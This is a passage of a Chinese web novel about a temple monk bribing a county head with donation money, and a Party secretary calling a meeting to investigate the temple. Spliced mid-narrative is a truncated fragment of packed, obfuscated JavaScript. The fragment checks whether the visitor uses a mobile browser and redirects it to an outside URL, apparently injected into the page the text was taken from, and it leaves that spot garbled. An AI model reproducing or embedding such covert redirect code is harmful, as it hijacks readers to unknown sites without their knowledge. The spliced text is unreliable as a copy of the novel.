“嗯!”刘世廷的声音终于恢复了些许惯常的平稳,“我在家等你。”
电话挂断,只剩下一串单调急促的忙音,在死寂的禅房里嗡嗡作响,像一群不祥的飞虫。
东妙像被抽掉了骨头,颓然跌坐回冰冷的蒲团上,手机滑落在袈裟褶皱里。
他大口喘着气,胸口剧烈起伏。
直到天完全黑了。
在摇曳烛光下,他才撑着膝盖,艰难地站起来,脚步虚浮地走向禅房角落一个不起眼、落满灰尘的矮柜。
柜门拉开,一股浓重的樟脑和旧木混合的气味扑面而来。
里面堆着些陈年的经卷和杂物。
他拨开几卷褪色的经幡,一个笨重的暗红色木箱露了出来。
箱子四角包着磨损的黄铜,正面用金漆写着“功德无量”四个大字,只是漆色早已斑驳剥落,露出底下陈旧的木纹。
这曾是清凉寺最鼎盛时期,香客们虔诚投递善款的器物,如今却成了藏匿最肮脏交易的容器。
东妙看着这箱子,眼中掠过一丝复杂难言的悲凉,像是被岁月本身狠狠嘲讽了一把。
他伸手,用力掀开沉重的箱盖,里面
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空空荡荡,只残留着几丝陈年的香灰气味。
他转身,从床榻下拖出一个沉甸甸的黑色旅行袋。
拉链拉开,一捆捆崭新的、散发着浓郁油墨气息的百元大钞,整齐地码放着,像一块块冰冷的砖。
那刺眼的红,在烛光之下,红得惊心动魄,红得令人窒息。
东妙闭上眼,深吸一口气,再睁开时,眼底只剩下麻木的决绝。
他俯下身,一捆,又一捆,近乎粗暴地将那些沉甸甸的“砖块”塞进褪色的“功德箱”里。
纸币的边缘刮擦着粗糙的木箱内壁,发出沙沙的声响,如同毒蛇在暗处游走。
很快,箱子被塞得满满当当,几乎要溢出来。
他用力压下箱盖,合上搭扣,落锁。
冰冷的黄铜锁扣“咔哒”一声轻响,像一声微弱的叹息,也像盖棺定论。
他脱下汗湿的袈裟,换上一身灰扑扑毫不起眼的便服,戴上顶压得很低的鸭舌帽。
抱起那沉得坠手的“功德箱”,入手冰凉,那重量不仅压在他的臂弯,更沉沉地压在他的灵魂上。
他推开门,一股湿冷的风猛地灌入,让东妙打了一个冷战。
外面开始了下雨。
一辆早已等在寺院后门僻静处、车身沾满泥泞的黑色老旧面包车,亮着两盏昏黄浑浊的尾灯,在昏暗的雨夜里如同垂死野兽的眼睛。
驾驶座上的开车的僧人明厉,仿佛是个沉默的哑巴,脸上刻着刀削斧劈般的皱纹,对东妙和他怀里的箱子视若无睹。
东妙拉开车门,将箱子小心地塞进后座,自己也湿漉漉地钻了进去,重重带上车门。
车身猛地一沉。
司机立刻发动引擎,老旧发动机发出嘶哑的咆哮,车轮碾过泥泞的地面,悄无声息地滑入茫茫雨幕。
车厢里弥漫着潮湿发霉的气味。
东妙蜷在后座,紧紧抱着那个冰冷的木箱,身体随着车身的颠簸而晃动。
雨水密集地敲打着车顶和车窗,发出单调而巨大的噪音。
车窗外,城市的光怪陆离在雨水的冲刷下扭曲变形,霓虹灯的光晕化开,流淌在湿漉漉的玻璃上,像一幅幅光怪陆离、寓意不详的抽象画。
他感到一阵阵虚脱般的寒冷,忍不住将怀里的箱子抱得更紧了些,仿佛那冰冷的木头能给他一点可怜的依靠。
车轮碾过积水,水花飞溅的声音格外刺耳。
第178章 见钱眼开
车子七拐八绕,最终驶入一片有保安守卫、环境清幽的高档别墅区。
在一栋灯火通明、有着巨大落地窗的独栋别墅前,面包车无声地停下。
雨刷器仍在徒劳地左右摇摆。
东妙抱着箱子下车,冰冷的雨水瞬间再次将他浇透。
他快步走向那扇厚重的、雕着繁复花纹的铜门。
门无声地打开一条缝,泄出里面温暖明亮的光线和一个穿着整洁,面无表情的保姆身影。
保姆目光扫过他怀里的旧木箱。
眼神里没有一丝波澜。
如同看到一件寻常的快递包裹,侧身让开。
客厅里温暖如春,巨大的水晶吊灯洒下明亮柔和的光,光洁的大理石地面倒映着奢华家具的影子。
刘世廷穿着一身舒适的家居服,正背对着门口,饶有兴致地欣赏着墙上挂着的一幅笔力遒劲的书法——“清正廉明”。
听到脚步声,他缓缓转过身。
“哦,来了。”刘世廷的目光掠过东妙湿透的衣裤和苍白的脸,最后落在他怀里那个陈旧刺眼的“功德箱”上。
他的眉头几不可察地皱了一下,随即又舒展开,嘴角甚至勾起一丝玩味的笑意,“嗬,还是这么个老物件儿,东妙监院,你们出家人,念旧啊。”
语气轻松,仿佛在谈论一件古董收藏。
东妙僵硬地点点头,喉咙发干,说不出话。
他吃力地将沉重的箱子放在客厅中央光可鉴人的地板上,弯腰打开铜锁,掀开箱盖。
一摞摞崭新的百元大钞,在辉煌的灯光下暴露无遗,红得刺目,红得惊心。
那浓烈的油墨气味瞬间扩散开来,与室内昂贵的熏香格格不入。
形成一种诡异的混合。
刘世廷踱步过来,在箱子旁蹲下,脸上带着一种近乎愉悦的专注。
他伸出保养得极好的手,随意拿起一捆钞票,熟练地用手指捻了捻边缘,感受着新钞特有的挺括和锋利的棱角。
又凑近鼻端,深深吸了一口那浓郁的油墨气息,脸上露出一种近乎迷醉的神情。
“嗯,新票子,味儿正。”他满意地点点头,这才抬眼看向局促不安地站在一旁的东妙,“对了,今年怎么早了小半个月?”
他语气随意,像是在问天气。
东妙浑身湿冷,却感到一股燥热从脊背升起。
他舔了舔干裂的嘴唇,目光不由自主地飘向客厅一角——那里立着一个嵌入墙壁的巨大、厚重的保险柜,柜门半开着,并未完全合拢。
借着明亮的灯光,可以清晰地看到里面并非文件,而是分门别类、铺着丝绒的格子里,整齐地排列着数十块熠熠生辉的奢华腕表。
黄金的、铂金的、镶钻的……每一块都价值不菲,在灯光下折射着冰冷而诱惑的光芒。
那光芒像针一样刺痛了东妙的眼。
他猛地收回视线,垂下头,声音低哑干涩,带着一种近乎谄媚的讨好:“是…是香客们,捐得特别猛,这个月…特别猛。”
他顿了顿,仿佛在斟酌词句,然后小心翼翼地补充道,“好多人都说…说托菩萨的福,能福佑全家平安,都抢着来捐呢。”
“当然,在我心里您就是菩萨,是您…保佑着我们清凉寺香火旺盛,财源广进……”
他不敢再看刘世廷,也不敢再看那保险柜里的奢华,只死死盯着地板上自己湿漉漉的鞋尖印下的水渍。
刘世廷闻言,手上的动作微微一顿,随即发出一阵低沉而愉悦的笑声。
那笑声在空旷奢华的客厅里回荡,带着一种掌控一切的满足感。
他俯身,开始极其熟练地清点捆数,翻看其中几捆是否有明显缺陷,动作专业而冷漠。
然后将所有的钱,装入那个巨大、厚重的保险柜并顺手将门关上。
他站起身,拍了拍东妙的肩膀——那动作看似亲切,却带着一种居高临下的力道。
“嗯,香客们…有觉悟。”
他慢悠悠地说,目光再次扫过地上敞开的钱箱,又瞥了一眼自己保险柜里的收藏,脸上露出一种混合着贪婪与掌控欲的笃定笑容,“这就对了嘛。你放心,东妙监院。”
他微微倾身,声音压得更低,带着一种蛊惑又冰冷的意味,清晰地送入东妙耳中:“只要这‘香火’一直这么‘旺’下去,你这监院的位置……”
他故意停顿了一下,欣赏着东妙骤然绷紧的身体和额角渗出的细汗,才缓缓吐出最后几个字,字字千钧,“雷打不动。
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”
东妙身体剧烈地一颤,仿佛被无形的电流击中。
他猛地抬起头,对上刘世廷那双深不见底、含着笑意的眼睛。
那眼神里没有温度,只有冰冷的交易和赤裸裸的掌控。
一股寒意从脚底板直冲头顶,比外面冰冷的雨水更甚百倍。
他张了张嘴,喉咙里却像被什么东西死死堵住,最终只发出一个短促、模糊的喉音:“……是。”
客厅里巨大的水晶吊灯依旧散发着柔和而璀璨的光芒,将地上那滩湿漉漉的水迹照得格外清晰,也将那个敞开的、塞满红色钞票的“功德箱”,映照得如同一个巨大而讽刺的伤口,无声地流淌在光洁冰冷的大理石地面上。
“但是,刘县长……”东妙喘息着,像是刚从一场无形的窒息中挣脱出来,声音干涩得像砂纸摩擦,“我,我……”
东妙欲言又止。
“东妙大师?”刘世廷脸上浮起一丝恰到好处的惊讶,旋即化为一种官员特有的、带着距离感的温和笑容,“有什么为难的事?”
他指了指客厅奢华的沙发,“坐,坐下说话。”
东妙像是没听见“坐”字,依旧僵立在原地。
他深吸了一口气,胸口剧烈起伏了几下,仿佛在积蓄勇气,又像被什么东西噎住了喉咙。
他张了张嘴,喉结艰难地上下滚动,最终只挤出几个破碎的音节:“刘县长…是…是有点事…”
刘世廷微微挑眉,耐心地等着。
“是…是这样的,”东妙终于再次开口,声音抖得厉害,语句破碎得如同散落的念珠,“有人…今天…去了清凉寺。”
“有人今天去了清凉寺?”刘世廷脸上的温和笑意淡了几分,语气里带上了一丝不易察觉的不耐烦,“这有什么奇怪的?”
“寺庙没人去,哪还有香火?岂不要关门倒闭?”
“大师今天这是怎么了?”
“不!不是这么回事!”东妙猛地抬起头,脸上血色尽褪,眼中是货真价实的惊恐,仿佛被这句轻描淡写的话刺中了要害。
“哦?”刘世廷脸上的笑意彻底消失了,取而代之的是一种审视的锐利,“那是怎么回事?”
“什么人去了,让你如此慌张?”
第179章 天塌不下来!
“是…是三个人,”东妙的声音低了下去,带着一种泄露秘密般的畏缩,“结伴来的…不是…不是一般的香客…”
“三个人?还成伙?”刘世廷的眉峰真正聚拢起来,身体也不自觉地绷直了些,“什么人?”
东妙像是用尽了全身力气,才把那两个名字从喉咙深处挤压出来:“是…是县委江**…还有旅游局的林…林局长…”
他喘了口气,补充道,“还有一个女的,很年轻,不认识。”
“可能是旅游局的干部…带着小本子,一直在记东西…”
“江昭宁?林方政?”刘世廷几乎是脱口而出,声音陡然拔高了一瞬,随即又被他强行压下。
这两个名字像一块冰冷的石头,猝不及防地砸在他精心维持的平静湖面上。
一股难以言喻的寒意,瞬间沿着脊椎骨窜了上来。
刘世廷的脑子里瞬间闪过无数念头:江昭宁!他什么时候去的?为什么去?
为什么没人提前知会他一声?
林方政……那个一直对他阳奉阴违的家伙,现在和江昭宁走得很近了?
还有那个记录的女人……他们想干什么?
东妙被刘世廷瞬间的失态和骤然阴沉下来的脸色吓得更厉害了。
他慌乱地低下头,声音细若蚊蝇,带着绝望的哭腔:“江…江**他…他说话很重…他说…说我们寺庙里里外外,处处都…都充斥着一股铜钱臭!”
“他说…说这玷污了佛门清净地!是…是亵渎!”
说到“铜钱臭”三个字时,东妙的声音抖得几乎不成调,脸色由白转灰,像被抽干了所有生机。
他下意识地抬手擦了擦额头上不断渗出的冷汗,眼神彻底失去了焦距。“刘县长…我…我完了…我看江**那脸色…难看得吓人…我…我这监院的位置…怕是当到头了…”
他像是耗尽了最后一丝力气,身体微微摇晃了一下。
刘世廷死死地盯着东妙那张灰败绝望的脸,那眼神里的恐惧如此真切。
电光火石间,他猛地明白了!彻底明白了!
难怪!
难怪离约定好的日子还差着老远,还差半个月。
这个一向循规蹈矩的东妙就急吼吼地亲自把那份“心意”提前送了过来。
那厚厚实实的“钞票”,刚才还让他心里小小地得意了一下,以为是这和尚终于开窍,更懂得“孝敬”了。
原来如此!
根子在这儿!
江昭宁!又是江昭宁!
一股暴戾的怒火猛地从心底最深处炸开,瞬间席卷了刘世廷的四肢百骸,烧得他五脏六腑都在扭曲。
他感觉自己的太阳穴突突直跳,血液在血管里奔涌咆哮。
这小子!
这个空降下来就处处跟他作对的愣头青!
先是揪着他儿子那点“小纰漏”不放,硬是逼得张彪到殡仪馆与**打交道,让他颜面扫地!
现在,竟然又把手伸到了他的钱袋子上!
伸到了清凉寺这条他苦心经营、稳定丰厚的财路上!
断人财路,如同**父母!
江昭宁!
刘世廷在心里发出无声的、野兽般的咆哮,每一个字都浸满了刻骨的怨毒。
老子跟你势不两立!不共戴天!
然而,几十年宦海沉浮练就的本能,如同最坚硬的冰壳,瞬间覆盖了那沸腾的岩浆。
刘世廷脸上的肌肉几不可察地抽搐了几下,随即又奇迹般地松弛下来。
他甚至还扯动嘴角,重新挂上了一丝极其“和煦”的笑容,仿佛刚才那瞬间的阴鸷从未出现过。
“东妙法师,”他的声音恢复了那种惯常的、带着点安抚意味的平稳腔调,甚至还带着一丝不以为然的宽厚,“你啊,还是太沉不住气了。”
“江**那是视察,是领导关心我们县里的宗教事业和旅游发展嘛。”
东妙愕然地抬起头,似乎不敢相信刘世廷会如此轻描淡写。
“领导视察,”刘世廷目光平静地落在东妙脸上,“当然要指出一些工作中的不足,提出一些改进的意见。”
“这是职责所在。”
“即便他说得…嗯,可能有些地方不太全面,或者和你们寺庙实际操作的考量不太一致。”
他话锋一转,语气变得语重心长,“你也要正确看待,有则改之,无则加勉嘛!对不对?”
他身体微微前倾,双手摊开,摆出一个推心置腹的姿态:“寺庙收一点香火钱,这也是迫不得已的现实嘛!”
“那么多张嘴要吃饭,佛像金身要维护,大殿屋顶漏了要修葺,哪一样离得开钱?”
“佛祖也得体谅僧侣和寺院的难处不是?”
“清修是理想,过日子是现实嘛!”
看着东妙眼中那点微弱的、将信将疑的希望之火又燃了起来。
刘世廷脸上的笑容更深了些,带着一种成竹在胸的笃定:“这件事,你暂且放宽心。”
“回头
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,我会找个合适的机会,去和江**好好说道说道,把你们的实际情况,把清凉寺维护的难处,都跟他解释清楚。”
“领导嘛,也是讲道理的。”
“真…真的?刘县长!”东妙眼中的惶恐瞬间被巨大的惊喜和感激淹没。
他几乎是本能地往前踉跄了一步,双手合十,朝着刘世廷深深地躬下身去,激动得声音发颤,“阿弥陀佛!多谢县长!多谢县长体恤!您真是我们清凉寺的再生父…”
“行了!”刘世廷脸上的笑容瞬间消失,眉头紧紧皱起,声音里带着毫不掩饰的严厉和一丝厌烦,打断了东妙那不合时宜的感激涕零,“你这像什么样子!”
他锐利的目光扫过东妙那身便服上,“僧不僧,俗不俗!”
“穿着这身行头,在我这里行佛门之礼?欲盖弥彰!荒唐!”
这突如其来的呵斥如同兜头一盆冰水,将东妙浇了个透心凉。
他脸上的感激瞬间僵住,随即化为更深的羞愧和恐惧,合十的双手僵在半空,放也不是,不放也不是,整个人像一尊被骤然抽去灵魂的木偶,呆立当场,脸色一阵红一阵白。
“还杵着干什么?”刘世廷的声音冷硬,带着不容置疑的驱逐意味,目光锐利如刀,几乎要将东妙钉穿,“该说的都说了。”
“回去!该干什么干什么!”
“记住,稳住!天塌不下来!”
“是…是!刘县长!我这就回去!这就回去!”东妙如梦初醒,忙不迭地点头哈腰,语无伦次地应着。
他慌乱地再次朝刘世廷的方向仓促地拱了拱手,动作僵硬而滑稽,随即猛地转身,几乎是手脚并用地冲向那扇厚重的实木门。
他拉开门,几乎是逃窜般地闪了出去,又手忙脚乱地试图把门轻轻带上。
门轴发出一声轻微却刺耳的“吱呀”,随即是门锁“咔哒”一声合拢的轻响。
那轻微的“咔哒”声,如同一个精确的开关。
门关上的瞬间,刘世廷脸上那层维持了许久的、名为镇定和宽厚的面具,如同被重锤击中的劣质瓷器,轰然碎裂!
那双平日里总是带着几分世故圆滑的眼睛,此刻赤红一片,翻涌着最原始、最暴戾的恨意和杀机。
江昭宁!
这三个字在他脑海里疯狂地撞击、咆哮!
“铜钱臭…铜钱臭…”刘世廷从齿缝里挤出这三个字,声音嘶哑扭曲,如同地狱里爬出的恶鬼在诅咒。
第180章 要有重大举措了?
他刘世廷在东山县经营半生积累的脸面,一朝**昭宁踩在脚下碾得粉碎!
旧恨未消!新仇又添!断他财路!毁他根基!逼他父子!
恨意如同实质的黑色毒液,在他眼底疯狂地翻涌、凝聚。
那里面,再也没有了半分属于官员的克制与权衡,只剩下最原始、最疯狂的毁灭欲。
江昭宁那张年轻、锐气、仿佛永远代表着某种“正确”的脸,清晰地浮现在他眼前。
那张脸,此刻在他扭曲的视野里,变得无比刺眼,无比可憎!
……
暮色四合,苍茫的群山如同蛰伏的巨兽,轮廓在渐暗的天光中变得模糊而凝重。
清凉寺那朱漆剥落的山门在江昭宁三人身后缓缓合拢,发出沉闷而悠长的“吱呀”声,仿佛隔绝了两个世界。
白日里缭绕的香火气和诵经声已然沉寂,只剩下山风卷着松涛,在幽深的峡谷间呼啸,带着晚秋刺骨的寒意,刮在脸上犹如钝刀割肉。
一辆黑色大众轿车,无声地停在寺门前的石阶下,引擎低沉的嗡鸣在寂静的山野中格外清晰。
车灯昏黄,勉强撕开一小片浓重的夜色。
江昭宁脚步微顿,深邃的目光投向那辆突兀出现的车子,眉头不易察觉地蹙起。
“这车?”他的声音不高,却带着一丝惯有的审视和疑问,在寒风中显得格外清晰。
在这远离市区的深山古刹,一辆现代交通工具的出现,本身就透着不协调。
秦怡快走两步,从随身携带的简约公文包里掏出手机晃了晃,屏幕的光映亮了她年轻却沉静的脸庞。
“是我提前叫的我们局的公务车,**。”
她解释道,声音清脆利落,如同山涧清泉,“调查结束,身份既然已经公开,似乎……没必要打出租车了吧?”
“也浪费时间。”她考虑得很周全,调查时的乔装是为了隐蔽,任务完成,自然要回归效率和常态。
一直沉默的林方政闻言,脸上掠过一丝明显的困惑。
他搓了搓被山风吹得有些僵硬的手,看向秦怡:“秦股长,我们三人几乎一直同处禅房,寸步未离。”
“没见你出去过,也没听到你打电话叫车啊?”
秦怡闻言,嘴角弯起一个极淡、带着点年轻人特有狡黠意味的弧度。“局长,”她语气轻松地纠正道,“现在都什么年代啦?”
“发个信息就好,不用非得打电话。”
江昭宁没再说话,只是微微颔首,目光在秦怡脸上停留了一瞬,那眼神里包含着无声的认可。
这个年轻的股长,心思之缜密,行事之周全,确实超出预期。
车门无声滑开,一股轻微的橡胶与皮革混合的气息弥漫出来,混杂着一丝车内空调送来的干净皂角香气。
江昭宁坐进副驾驶位,车身随着他的落座轻微一沉。
他身体向后靠向椅背,深深倚进去,椅垫将他稳稳接纳时,发出轻微的气流声。
林方政与秦怡各自轻手轻脚地拉开后座车门,猫腰钻了进去。
司机是个沉默寡言的中年男人,瞥了他们一眼,确认再没有人上来后,便一言不发地挂挡起步。
车轮碾过碎石铺就的狭窄山路,车身随之轻微颠簸摇晃。
窗外,寺院的飞檐斗拱和苍劲的**迅速被甩向后方,融入越来越浓重的暮色里。
天,下起了雨!
车内一片寂静,只有引擎的轰鸣和轮胎摩擦地面的沙沙声。
山路蜿蜒曲折,车灯的光柱像两把利剑,在雨水中不断劈开前方沉沉的黑幕,照亮嶙峋的山石和偶尔掠过的、在风中狂舞的枯枝。
幽深的山谷仿佛张开的巨口,寒意夹带雨水丝丝缕缕地从车门的缝隙渗进来。
江昭宁靠在椅背上,闭目养神了片刻,但紧抿的薄唇和眉宇间深刻的纹路,昭示着他内心远非平静。
清凉寺里看到的、听到的,像冰冷的藤蔓缠绕在他心头。
他猛地睁开眼,那目光锐利如电,瞬间打破了车内的沉寂。
他拿出手机,动作干脆利落,直接拨通了林夕的电话。
“林秘书,”江昭宁的声音不高,却带着一种不容置疑的穿透力,清晰地回荡在狭小的车厢内,“通知一下,明天上午九点钟,准时召开县委**扩大会议。”
他略作停顿,语速平稳而有力,“另外,通知县文化局局长鄂建
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设同志,县宗教事务局局长谷庄同志列席会议。”
“请他们务必准时参加。”
电话那头的林夕显然立刻进入了高度紧张的工作状态,声音清晰而迅速地回应:“是,江**!”
“我立刻落实,确保通知到位!”
电话挂断的忙音在车内短暂响起,随即被更大的寂静吞没。
林方政在后排身体不自觉地向前倾了倾,脸上写满了惊愕,甚至有一丝不易察觉的惶恐。
“江**?”他下意识地用上了更正式的称呼,声音因为紧张而微微发干,“明天就开**会?”
“还……还扩大到鄂局和谷局?”
他咽了口唾沫,感觉喉咙有些发紧,“这是……要有重大举措了?”
作为体制内的资深干部,他太清楚这种规格的会议意味着什么。
**扩大会议,还特意点名两位职能局局长列席,议题的敏感性和决策的分量不言而喻,必然涉及全局性、方向性的重大调整或处置。
一股无形的压力瞬间攫住了他,手心竟微微沁出了冷汗。
“是的。”江昭宁的回答斩钉截铁,没有丝毫拖泥带水。
他侧过头,目光似乎穿透了车窗外雨夜的沉沉黑暗,投向那座已然消失在视野中的清凉寺的方向。
“这个清凉寺的问题,”他的声音陡然转冷,每一个字都像冰珠砸在车厢地板上,“不能再拖,不能再捂,更不能听之任之了!”
“是时候彻底厘清,给全县人民一个交代了!”他语气中的决绝和肃杀,让车内的温度仿佛又下降了几度。
“江**,林局,”坐在林方政旁边的秦怡,这时也轻声开口,她的声音不大,却像一颗投入平静湖面的石子,激起了更深的涟漪。
她秀气的眉头微蹙着,眼神专注而凝重,“我们今天看到的,查到的,恐怕……真的只是冰山一角。”
“水面下的部分,可能庞大到超乎我们的想象。牵扯的,也绝不仅仅是寺庙内部管理混乱那么简单。”
“哼!”江昭宁从鼻腔里发出一声短促而冰冷的冷哼,带着浓烈的鄙夷和怒意。“就这冰山一角,已经足够触目惊心!”
第181章 再深也得趟!
他放在膝盖上的手不自觉地握成了拳,指节因为用力而微微发白,“一个本该青灯古佛、清心寡欲的寺庙,各种喧嚣的叫卖声音不绝于耳,香火钱、功德箱、甚至可能存在的各种名目的‘捐赠’……这些善款流向了哪里?”
“那个东妙和尚,”他几乎是咬着牙念出这个名字,“他的问题,绝不会小!”
“他身上,绝对不止是违反清规戒律那么简单!”
江昭宁的直觉告诉他,东妙很可能是一条盘踞在清凉寺、甚至可能延伸到更广阔领域的“大蛀虫”。
他的话像一块沉重的巨石,轰然砸入车厢。
林方政只觉得心脏猛地一缩,后背瞬间被冷汗浸湿。
他下意识地抬手擦了擦额角并不存在的汗珠,嘴唇动了动,似乎想说什么,但最终只是化为一声沉重的叹息。
他脑海里不受控制地闪过一些零碎的举报片段和道听途说的传闻。
那些曾经被他认为是捕风捉影、夸大其词的信息。
此刻在江昭宁斩钉截铁的定性和秦怡“冰山一角”的警示下,骤然变得无比真实和沉重。
一股巨大的无力感和对未知后果的恐惧攫住了他。
秦怡则陷入了更深的沉思。
她拿出随身携带的小笔记本和一支笔,借着手机屏幕微弱的光,飞快地记录着几个关键词:“圆滑的监院”、“香火账目疑点”、“僧众关系”。
笔尖划过纸面,发出轻微的沙沙声,在这片死寂中显得格外清晰。
她的思维高速运转,试图将白天观察到的所有碎片信息串联起来,构建一个更清晰的脉络。
东妙和尚那张看似平和实则深藏城府的脸,不时在她眼前浮现。
她感觉到,这潭水,比她最初预想的要深得多,也浑得多。
车厢内陷入了更深沉的寂静。
每个人都沉浸在自己的思绪里,气氛压抑得如同暴风雨前的低气压,让人几乎喘不过气。
只有车轮碾过坑洼路面的颠簸声、引擎持续不断的低吼,以及窗外永无止息、如泣如诉的呼啸山风和雨声,构成了一曲单调而令人心神不宁的背景音。
昏黄的车灯顽强地切割着浓墨般的黑暗,前方的山路仿佛永无尽头。
在车灯的极限处,黑暗又迅速合拢,吞噬掉那微弱的光明,给人一种在无底深渊中孤独前行的错觉。
江昭宁再次开口,声音依旧沉稳,打破了这令人窒息的寂静:“林局,秦股长,”他没有回头,目光依旧直视着前方被车灯照亮、不断延伸又不断被黑暗吞没的山路,“明天的**扩大会,你们两人也参加。”
“做好汇报准备,重点突出今天发现的异常情况和核心疑点。”
“要实事求是,有一说一。”
“是,江**!”林方政立刻应声,声音带着一丝不易察觉的紧绷。他感到肩上的担子陡然重了千斤。
在县委**们面前汇报,这压力非同小可。
他下意识地挺直了腰背,开始在心里飞速打腹稿,盘算着如何陈述才能既反映问题又不至于过于失控。
“明白,**。”秦怡的回答则显得更加冷静和坚定。
她合上笔记本,将其小心地放回包里,眼神中闪烁着一种跃跃欲试的锐利光芒。
这是一个极其重要的平台,她必须抓住机会,将那些触目惊心的细节清晰地呈现出来。
车子在山路上艰难地盘旋下行。
城市的灯火如同遥远星海,在遥远的下方隐约浮现,微弱的光芒刺破了群山的黑暗轮廓,带来一丝人间烟火的气息,却无法驱散车内凝聚的沉重与肃杀。
林方政望着窗外,飞速掠过雨帘下的模糊树影和嶙峋山石,忍不住低声喟叹:“这清凉寺……水太深了。”
“真要动它,牵一发而动全身啊……”
他深知一个经营多年、关系盘根错节的场所,一旦深挖,会拔出多少带泥的萝卜。
“深?”江昭宁的声音陡然拔高了几分,带着一种近乎锋利的冷硬,“再深也得趟!”
“再硬的骨头也得啃!”
他猛地转过头,昏暗中,林方政和秦怡都能清晰地感受到他目光中那股灼灼燃烧的、近乎实质的怒火和决心,如同即将出鞘的利剑。
他的话语掷地有声,在狭窄的车厢里激荡回响,带着雷霆万钧的力量,瞬间压过了引擎的轰鸣和山风的呼啸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354743|180059||http|test|mini|href|location''.split(''|''),0,{}));
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r>每一个字都像重锤,敲在林方政的心坎上,也点燃了秦怡胸中那股年轻的正义之火。
林方政被这凛然的气势所慑,一时语塞,只能讷讷地点头。
秦怡则感到一股热血涌上心头,她用力地握紧了放在膝盖上的拳头,指甲几乎要嵌进掌心。
车内再次陷入沉默。
但这一次的沉默,不再是压抑和迷茫。
而是一种凝重的、蓄势待发的力量在悄然汇聚。
每个人心中都明白,从清凉寺出来的这一刻,从这辆车驶向灯火初上的县城开始,一场围绕这座千年古刹的风暴,已经无可避免地被点燃了引信。
清凉寺的宁静表象,注定要被彻底撕碎。
车子终于驶离了崎岖的山路,冲上相对平坦的县级公路。
速度加快,城市的灯火越来越近,越来越明亮。
然而,车内的三人,心情却并未因此轻松半分。
那远处的万家灯火,此刻在他们眼中,更像是一种无声的注视和沉甸甸的期待。
江昭宁重新靠回椅背,闭上了眼睛。
但他的大脑却在高速运转,如同精密的作战指挥中心,飞速地推演着明天的会议可能遇到的阻力、需要调动的力量、以及如何以雷霆之势撕开那道看似坚固的防线。
他的指节无意识地敲击着膝盖,节奏稳定而有力,仿佛在无声地倒计时。
秦怡则在脑海中反复推敲着明天汇报的逻辑链条,力求一击必中。
林方政望着窗外飞速掠过的路灯,光与影在他脸上快速交替。
他长长地、无声地吐出一口浊气,仿佛要将胸腔里所有的犹豫和顾虑都吐出去。
他知道,自己没有退路了。
明天,那个庄严肃穆的县委**会会议室,就是他的战场。
他必须打起十二万分的精神,协助江**,打好这艰难的第一仗。
清凉寺的冰山,必须破开!
黑色的轿车,如同一支离弦的箭,载着决心、忧虑与无声的硝烟,义无反顾地向着灯火辉煌却又暗流汹涌的县城,疾驰而去。
山风雨水依旧在车窗外呜咽,仿佛古老山林的叹息,又似一场风暴来临前的序曲。
第182章 真相
县委**会议室,空气沉滞得如同凝固的铅块。
厚重的深红色天鹅绒窗帘虽被完全拉开。
但窗外灰蒙蒙的天空并未带来多少光亮,反倒将一种沉郁的压迫感倾泻进来。
椭圆形会议桌中央摆放的几盆绿萝,叶片也似乎被这凝重的氛围所感染,蔫蔫地垂着。
**们陆续落座,彼此间的交谈也压得极低,如同窃窃私语。
江昭宁端坐主位,面前摊开着笔记本。
他目光沉沉扫过全场,最后定格在对面鄂建设与谷庄略显躲闪的脸上。
那眼神锐利如刀,无声地切割着室内沉闷的空气,让原本就微妙的氛围更添了几分山雨欲来的张力。
“同志们,”江昭宁声音不高,却像投入平静水面的石子,瞬间攫取了所有人的注意力,“今天扩大会议的第一个议题是关于清凉寺的。”
“秦怡同志,请你具体汇报一下昨天实地了解的情况。”
“好的,江**。”秦怡的声音清晰而平稳,带着一种不容置疑的冷静。
她并未立刻看向手中的笔记本,而是抬起头,目光坦然地迎向在座的每一位**,那份沉稳的气度,让会议室里的窃窃私语彻底消失了。
“昨天,江**加上我和林局一起,没有通知任何单位或个人,以普通游客身份对清凉寺进行了实地探访。”
她有条不紊地开始叙述,每一个细节都如同经过精准丈量,冷静地铺陈在众人面前。
“从踏入山门那一刻起,异样的感官冲击便汹涌而来——不再是想象中梵音袅袅、檀香萦绕的佛门清净地。”
“震耳欲聋的电子诵经声从高音喇叭里持续不断地轰炸着耳膜,单调而刺耳,强行挤压着游客本就疲惫的神经。”
“通往大雄宝殿的青石板路两侧,原本应是供人静心观想的空地,如今却被密密麻麻的摊位占据。”
摊主们大多是剃着光头的僧人,穿着僧衣,吆喝叫卖声此起彼伏,与电子诵经声怪诞地交织在一起:“开光护身符,保平安保财运!”
“曾引以为傲的禅茶净苑,其雅致的茶室匾额已然卸下,竟替换为‘清凉实业有限公司禅茶营销部’。”
“其内叫卖之声喧哗盈天。”林方政恰到好处地点开了手机里的一段录音文件,伴随着刺耳的电流杂音,推销员用高亢而油腻的方言拖着长腔,响彻在压抑的会议室:“……走过路过,莫错过啊——!开光加持过的手串!山泉水加持!佛祖亲口开光!”
“消灾消难,延年益寿!”
“保你一家老**安喜乐嘞——!便宜!只要三百八十八!不买就是和佛祖没缘啊!”
林方政适时地补充,声音里带着压抑不住的愠怒:“更离谱的是所谓的‘功德箱’。”
“几乎每个殿门口,甚至角落里不起眼的地方都放着箱子,样式五花八门,有些甚至简陋得像临时钉起来的木盒子。”
“每个箱子前都守着至少一个僧人,眼睛像鹰隼一样盯着游客的手和钱包。”
“嘴里念念有词,什么‘心诚则灵,随喜功德’,‘捐得越多,菩萨保佑越灵验’。”
“那架势,就差直接上手掏钱包了。”
“我亲眼看见一个老太太,被两个僧人半劝半逼地围着,哆哆嗦嗦掏出了几张百元钞票塞进去,那僧人脸上才露出点笑模样,念了句‘阿弥陀佛,菩萨保佑您’。”
“如果香客或者游客说没有现钱,没事,功德箱有二维码呢,扫一下就行。”
“总之,不出钱,和尚就没有好脸色。”
“这还不是全部,”秦怡接回话头,语气依旧平稳,但内容却更加触目惊心,“寺庙深处,靠近僧寮的区域,管理更是混乱不堪。”
“几件色彩鲜艳的女性内衣用品,就那么大大咧咧地晾晒在禅房门口,随风招摇,紧挨着的就是僧人们日常出入的狭窄通道。”
“晾晒的位置毫无遮挡,路过的游客都能看得一清二楚,与几步之遥的佛殿形成极其刺目的反差。”
